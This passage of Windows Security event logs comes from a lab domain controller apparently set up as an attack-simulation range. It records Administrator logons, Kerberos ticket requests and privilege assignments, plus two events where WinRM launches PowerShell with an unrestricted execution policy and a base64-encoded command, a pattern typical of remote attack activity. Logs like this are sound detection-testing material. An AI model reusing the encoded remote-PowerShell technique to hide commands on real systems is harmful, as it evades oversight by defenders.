session key was requested. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253509 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253508 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253507 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253506 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B81D9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253505 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B46FA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253504 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B4CC8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253503 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B81D9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253502 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B81D9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253501 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253500 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253499 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253498 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B81B7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253497 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B81B7 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253496 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B81B7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253495 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253494 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253493 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253492 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B7F6D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253491 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B71D3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253490 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B513B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253573 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BDCFC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253572 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BDCFC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {618107B9-0133-62FA-6146-B4599AD92FB1} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253571 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {618107B9-0133-62FA-6146-B4599AD92FB1} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253570 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {618107B9-0133-62FA-6146-B4599AD92FB1} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253569 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253568 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BD294 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1064 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12ec - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253567 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BD294 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12ec - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4d0 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253566 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BD85F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253565 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BD85F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {618107B9-0133-62FA-6146-B4599AD92FB1} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253564 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: 